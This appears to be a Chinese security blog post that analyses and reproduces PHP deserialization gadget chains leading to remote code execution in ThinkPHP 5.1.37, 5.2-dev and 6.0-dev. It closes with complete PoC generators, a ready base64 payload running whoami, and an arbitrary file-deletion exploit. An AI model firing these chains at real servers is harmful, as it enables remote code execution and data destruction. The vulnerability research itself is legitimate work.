thinkphp json_原创干货 | Thinkphp序列化合总

9cd1c6ea1cf177a8ec4409ab6d3e2684.png

听说转发文章

会给你带来好运

最近Thinkphp几个版本都出了反序列化利用链,这里集结在一起,下面是复现文章,poc会放在最后0 1Thinkphp5.1.37

环境搭建

composercreate-project topthink/think=5.1.37 v5.1.37

poc演示截图

a7e7342bd9ea61f86209c4844d9793a4.png

调用链

e5d4a93c90ecfecdd819c6380a575faf.png

单步调试

漏洞起点在\thinkphp\library\think\process\pipes\windows.php的__destruct魔法函数。

public function __destruct(){  $this->close();  $this->removeFiles();}
private function removeFiles(){    foreach ($this->files as $filename) {        if (file_exists($filename)) {            @unlink($filename);        }    }    $this->files = [];}

这里同时也存在一个任意文件删除的漏洞,exp如下

<?php namespace think\process\pipes;class Pipes{}class Windows extends Pipes{    private $files = [];    public function __construct(){        $this->files=['C:\FakeD\Software\phpstudy\PHPTutorial\WWW\shell.php'];    }}echo base64_encode(serialize(new Windows()));

这里$filename会被当做字符串处理,而__toString当一个对象被反序列化后又被当做字符串使用时会被触发,我们通过传入一个对象来触发__toString方法。

ed6cf4c26b65f145598f5838847012f8.png

//thinkphp\library\think\model\concern\Conversion.phppublic function __toString(){    return $this->toJson();}
//thinkphp\library\think\model\concern\Conversion.phppublic function toJson($options = JSON_UNESCAPED_UNICODE){    return json_encode($this->toArray(), $options);}
//thinkphp\library\think\model\concern\Conversion.phppublic function toArray(){    $item       = [];    $hasVisible = false;    ...    if (!empty($this->append)) {  foreach ($this->append as $key => $name) {    if (is_array($name)) {      // 追加关联对象属性      $relation = $this->getRelation($key);      if (!$relation) {        $relation = $this->getAttr($key);        if ($relation) {          $relation->visible($name);        }      }  ...}
//thinkphp\library\think\model\concern\Attribute.phppublic function getAttr($name, &$item = null){    try {        $notFound = false;        $value    = $this->getData($name);    } catch (InvalidArgumentException $e) {        $notFound = true;        $value    = null;    }    。。。  return $value;}
//thinkphp\library\think\model\concern\Attribute.phppublic function getData($name = null){  if (is_null($name)) {    return $this->data;  } elseif (array_key_exists($name, $this->data)) {    return $this->data[$name];  } elseif (array_key_exists($name, $this->relation)) {    return $this->relation[$name];  }  throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);}

这里的this->append是我们可控的,然后通过getRelation(key),但是下面有一个!relation,所以我们只要置空即可,然后调用getAttr(key),再调用getData(name)函数,这里this->data['name']我们可控,之后回到toArray函数,通过这一句话relation->visible(name);我们控制$relation为一个类对象,调用不存在的visible方法,会自动调用__call方法,那么我们找到一个类对象没有visible方法,但存在__call方法的类,这里

823649f57a59d7fbea82329cbac44abc.png

可以看到这里有一个我们熟悉的回调函数call_user_func_array,但是这里有一个卡住了,就是array_unshift,这个函数把request对象插入到数组的开头,虽然这里的this->hook[method]我们可以控制,但是构造不出来参数可用的payload,因为第一个参数是this对象。

目前我们所能控制的内容就是

9afcf7861ae6c43b0e316ca954da3660.png

也就是我们能调用任意类的任意方法。

下面我们需要找到我们想要调用的方法,参考我之前分析的thinkphp-RCE的文章thinkphp-RCE漏洞分析,最终产生rce的地方是在input函数当中,那我们这里可否直接调用input方法呢,刚刚上面已经说了,参数已经固定死是request类,那我们需要寻找不受这个参数影响的方法。这里采用回溯的方法

public function input($data = [], $name = '', $default = null, $filter = ''){  if (false === $name) {    // 获取原始数据    return $data;  }  $name = (string) $name;  if ('' != $name) {    // 解析name    if (strpos($name, '/')) {      list($name, $type) = explode('/', $name);    }    $data = $this->getData($data, $name);    if (is_null($data)) {      return $default;    }    if (is_object($data)) {      return $data;    }  }  // 解析过滤器  $filter = $this->getFilter($filter, $default);  if (is_array($data)) {    array_walk_recursive($data, [$this, 'filterValue'], $filter);    if (version_compare(PHP_VERSION, '7.1.0', ')) {                // 恢复PHP版本低于 7.1 时 array_walk_recursive 中消耗的内部指针                $this->arrayReset($data);            }     } else {        $this->filterValue($data, $name, $filter);     }     。。。
protected function getFilter($filter, $default){  if (is_null($filter)) {    $filter = [];  } else {    $filter = $filter ?: $this->filter;    if (is_string($filter) && false === strpos($filter, '/')) {      $filter = explode(',', $filter);    } else {      $filter = (array) $filter;    }  }  $filter[] = $default;  return $filter;}
protected function getData(array $data, $name){  foreach (explode('.', $name) as $val) {    if (isset($data[$val])) {      $data = $data[$val];    } else {      return;    }  }  return $data;}

这里filter可控,data参数不可控,而且name= (string)name;这里如果直接调用input的话,执行到这一句的时候会报错,直接退出,所以继续回溯,目的是要找到可以控制name变量,使之最好是字符串。同时也要找到能控制data参数

d27fa0654eb553e6f4f9f538a5e0e715.png

public function param($name = '', $default = null, $filter = ''){  if (!$this->mergeParam) {    $method = $this->method(true);    // 自动获取请求变量    switch ($method) {      case 'POST':        $vars = $this->post(false);        break;      case 'PUT':      case 'DELETE':      case 'PATCH':        $vars = $this->put(false);        break;      default:        $vars = [];    }    // 当前请求参数和URL地址中的参数合并    $this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));    $this->mergeParam = true;  }  if (true === $name) {    // 获取包含文件上传信息的数组    $file = $this->file();    $data = is_array($file) ? array_merge($this->param, $file) : $this->param;    return $this->input($data, '', $default, $filter);  }  return $this->input($this->param, $name, $default, $filter);}
array_merge($this->param, $this->get(false), $vars, $this->route(false));
public function get($name = '', $default = null, $filter = ''){  if (empty($this->get)) {    $this->get = $_GET;  }  return $this->input($this->get, $name, $default, $filter);}
public function route($name = '', $default = null, $filter = ''){    return $this->input($this->route, $name, $default, $filter);}
public function input($data = [], $name = '', $default = null, $filter = ''){  if (false === $name) {    // 获取原始数据    return $data;  }   ...}

可以看到这里this->param完全可控,是通过get传参数进去的,那么也就是说input函数中的data参数可控,也就是call_user_func的value,现在差一个条件,那就是name是字符串,继续回溯。

public function isAjax($ajax = false){  $value  = $this->server('HTTP_X_REQUESTED_WITH');  $result = 'xmlhttprequest' == strtolower($value) ? true : false;  if (true === $ajax) {    return $result;  }  $result           = $this->param($this->config['var_ajax']) ? true : $result;  $this->mergeParam = false;  return $result;}

可以看到这里$this->config['var_ajax']可控,那么也就是name可控,所有条件聚齐。成功导致rce。

e2229bf307eb47e0c23c518919f09d1d.png

补充:

<?php function filterValue(&$value,$key,$filters){    if (is_callable($filters)) {                // 调用函数或者方法过滤                $value = call_user_func($filters, $value);            }    return $value;}$data = array('input'=>"asdfasdf",'id'=>'whoami');array_walk_recursive($data, "filterValue", "system");

1bbd40191e1a5aae05d0df58679b195c.png

0 2Thinkphp5.2.*-dev

环境搭建

composercreate-project topthink/think=5.2.*-dev v5.2

poc演示截图

643679c7702cf3a27dcfe7f60c765400.png

调用链

0930a73c3881966b93620971ed0593bf.png

单步调试

可以看到前面的链跟tp5.1.x的一样,这里不在列举,直接进去toArray函数,可以看到$data可控

public function toArray(): array{  。。。  $data = array_merge($this->data, $this->relation);  foreach ($data as $key => $val) {    if ($val instanceof Model || $val instanceof ModelCollection) {      // 关联模型对象      if (isset($this->visible[$key])) {        $val->visible($this->visible[$key]);      } elseif (isset($this->hidden[$key])) {        $val->hidden($this->hidden[$key]);      }      // 关联模型对象      $item[$key] = $val->toArray();    } elseif (isset($this->visible[$key])) {      $item[$key] = $this->getAttr($key);    } elseif (!isset($this->hidden[$key]) && !$hasVisible) {      $item[$key] = $this->getAttr($key);    }  }  。。。
public function getAttr(string $name){        try {            $relation = false;            $value    = $this->getData($name);        } catch (InvalidArgumentException $e) {            $relation = true;            $value    = null;        }        return $this->getValue($name, $value, $relation);    }
public function getData(string $name = null){        if (is_null($name)) {            return $this->data;        }        $fieldName = $this->getRealFieldName($name);        if (array_key_exists($fieldName, $this->data)) {            return $this->data[$fieldName];            ...         }   }
protected function getRealFieldName(string $name): string{  return $this->strict ? $name : App::parseName($name);  //this->strict默认为true}

可以看到getAttr函数中的value可控,那么导致this->getValue(name,value,relation); 这里的三个参数都可控,跟进this->getValue(name,value,$relation);

protected function getValue(string $name, $value, bool $relation = false){  // 检测属性获取器  $fieldName = $this->getRealFieldName($name);  $method    = 'get' . App::parseName($name, 1) . 'Attr';  if (isset($this->withAttr[$fieldName])) {    if ($relation) {      $value = $this->getRelationValue($name);    }    $closure = $this->withAttr[$fieldName];    $value   = $closure($value, $this->data);

这里fieldName、this->withAttr,导致$closure也可控,最终直接产生RCE。如下图

8188acc08d5def6f7194a1d443e423f7.png

补充:

<?php $a = array();system('whoami',$a);

935ebeaaf238c741bb8b760c0d53fa81.png

74daa665772875c4f8024f079d8b4d60.png

0 3Thinkphp6.0.*-dev

环境搭建

composercreate-project topthink/think=6.0.*-dev v6.0

poc演示截图

758948dc00a4e66d796d7ffbe9dde72a.png

调用链

34c64699ccd721999572d86c0bfa6a3d.png

单步调试

//vendor\topthink\think-orm\src\Model.phppublic function __destruct(){    if ($this->lazySave) {  //$this->lazySave可控      $this->save();    }}
//vendor\topthink\think-orm\src\Model.phppublic function save(array $data = [], string $sequence = null): bool{  // 数据对象赋值  $this->setAttrs($data);  if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) {    return false;  }  $result = $this->exists ? $this->updateData() : $this->insertData($sequence); //this->exists可控  if (false === $result) {    return false;  }
//vendor\topthink\think-orm\src\Model.phppublic function isEmpty(): bool{  return empty($this->data);    //可控}
protected function trigger(string $event): bool{    if (!$this->withEvent) {    //可控      return true;  }  ...}
protected function updateData(): bool{  // 事件回调  if (false === $this->trigger('BeforeUpdate')) {   //可控    return false;  }  $this->checkData();  // 获取有更新的数据  $data = $this->getChangedData();    if (empty($data)) {      //$data可控    // 关联更新    if (!empty($this->relationWrite)) {      $this->autoRelationUpdate();    }    return true;  }  if ($this->autoWriteTimestamp && $this->updateTime && !isset($data[$this->updateTime])) {    // 自动写入更新时间    $data[$this->updateTime]       = $this->autoWriteTimestamp($this->updateTime);    $this->data[$this->updateTime] = $data[$this->updateTime];  }  // 检查允许字段  $allowFields = $this->checkAllowFields();
public function getChangedData(): array{  $data = $this->force ? $this->data : array_udiff_assoc($this->data, $this->origin, function ($a, $b) {    if ((empty($a) || empty($b)) && $a !== $b) {      return 1;    }  //$this->force可控    return is_object($a) || $a != $b ? 1 : 0;  });  // 只读字段不允许更新  foreach ($this->readonly as $key => $field) {    if (isset($data[$field])) {      unset($data[$field]);    }  }  return $data;}
protected function checkAllowFields(): array{  // 检测字段  if (empty($this->field)) {   //$this->field可控    if (!empty($this->schema)) {  //$this->schema可控      $this->field = array_keys(array_merge($this->schema, $this->jsonType));    } else {      $query = $this->db();      $table = $this->table ? $this->table . $this->suffix : $query->getTable();
public function db($scope = []): Query{  /** @var Query $query */  $query = self::$db->connect($this->connection)   //$this->connection可控    ->name($this->name . $this->suffix)   //$this->suffix可控,采用拼接,调用_toString    ->pk($this->pk);

后面的链跟之前的一样,这里就不分析了

f44945f4e3d3e2a029d1759bc2504aaf.png

0 4所有poc

v5.1.37

<?php namespace think;abstract class Model{    protected $append = [];    private $data = [];    function __construct(){        $this->append = ["ethan"=>["dir","calc"]];        $this->data = ["ethan"=>new Request()];    }}class Request{    protected $hook = [];    protected $filter = "system";    protected $config = [        // 表单请求类型伪装变量        'var_method'       => '_method',        // 表单ajax伪装变量        'var_ajax'         => '_ajax',        // 表单pjax伪装变量        'var_pjax'         => '_pjax',        // PATHINFO变量名 用于兼容模式        'var_pathinfo'     => 's',        // 兼容PATH_INFO获取        'pathinfo_fetch'   => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],        // 默认全局过滤方法 用逗号分隔多个        'default_filter'   => '',        // 域名根,如thinkphp.cn        'url_domain_root'  => '',        // HTTPS代理标识        'https_agent_name' => '',        // IP代理获取标识        'http_agent_ip'    => 'HTTP_X_REAL_IP',        // URL伪静态后缀        'url_html_suffix'  => 'html',    ];    function __construct(){        $this->filter = "system";        $this->config = ["var_ajax"=>''];        $this->hook = ["visible"=>[$this,"isAjax"]];    }}namespace think\process\pipes;use think\model\concern\Conversion;use think\model\Pivot;class Windows{    private $files = [];    public function __construct(){        $this->files=[new Pivot()];    }}namespace think\model;use think\Model;class Pivot extends Model{}use think\process\pipes\Windows;echo base64_encode(serialize(new Windows()));/*input=TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czo1OiJldGhhbiI7YToyOntpOjA7czozOiJkaXIiO2k6MTtzOjQ6ImNhbGMiO319czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czo1OiJldGhhbiI7TzoxMzoidGhpbmtcUmVxdWVzdCI6Mzp7czo3OiIAKgBob29rIjthOjE6e3M6NzoidmlzaWJsZSI7YToyOntpOjA7cjo5O2k6MTtzOjY6ImlzQWpheCI7fX1zOjk6IgAqAGZpbHRlciI7czo2OiJzeXN0ZW0iO3M6OToiACoAY29uZmlnIjthOjE6e3M6ODoidmFyX2FqYXgiO3M6MDoiIjt9fX19fX0=&id=whoami*/?>

v5.2.*-dev

<?php namespace think\process\pipes {    class Windows    {        private $files;        public function __construct($files){            $this->files = array($files);        }    }}namespace think\model\concern {    trait Conversion    {        protected $append = array("Smi1e" => "1");    }    trait Attribute    {        private $data;        private $withAttr = array("Smi1e" => "system");        public function get($system){            $this->data = array("Smi1e" => "$system");        }    }}namespace think {    abstract class Model    {        use model\concern\Attribute;        use model\concern\Conversion;    }}namespace think\model{    use think\Model;    class Pivot extends Model{        public function __construct($system){            $this->get($system);        }    }}namespace{  $Conver = new think\model\Pivot("whoami");  $payload = new think\process\pipes\Windows($Conver);  echo base64_encode(serialize($payload));}?>

v6.0.*-dev

<?php /** * Created by PhpStorm. * User: wh1t3P1g */namespace think\model\concern {    trait Conversion{        protected $visible;    }    trait RelationShip{        private $relation;    }    trait Attribute{        private $withAttr;        private $data;        protected $type;    }    trait ModelEvent{        protected $withEvent;    }}namespace think {    abstract class Model{        use model\concern\RelationShip;        use model\concern\Conversion;        use model\concern\Attribute;        use model\concern\ModelEvent;        private $lazySave;        private $exists;        private $force;        protected $connection;        protected $suffix;        function __construct($obj){            if($obj == null){                $this->data = array("wh1t3p1g"=>"whoami");                $this->relation = array("wh1t3p1g"=>[]);                $this->visible= array("wh1t3p1g"=>[]);                $this->withAttr = array("wh1t3p1g"=>"system");            }else{                $this->lazySave = true;                $this->withEvent = false;                $this->exists = true;                $this->force = true;                $this->data = array("wh1t3p1g"=>[]);                $this->connection = "mysql";                $this->suffix = $obj;            }        }    }}namespace think\model {    class Pivot extends \think\Model{        function __construct($obj)        {            parent::__construct($obj);        }    }}namespace {    $pivot1 = new \think\model\Pivot(null);    $pivot2 = new \think\model\Pivot($pivot1);    echo base64_encode(serialize($pivot2));}

所有Thinkphp版本下载链接

https://packagist.org/packages/topthink/framework

e0bcf471e9a63fc4c3db2aa25ae81167.png

● 云众可信征稿进行时

● 原创干货 | 记一次拟真环境的模拟渗透测试

● 原创干货 | 从手工去除花指令到Get Key

● 原创干货 | 浅谈被动探测思路

·END·

云众可信

原创·干货·一起玩

8684737b32739b407d11d461b3c34924.png好看的人才能点 23028039cee559df18543669580ee3a3.png
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值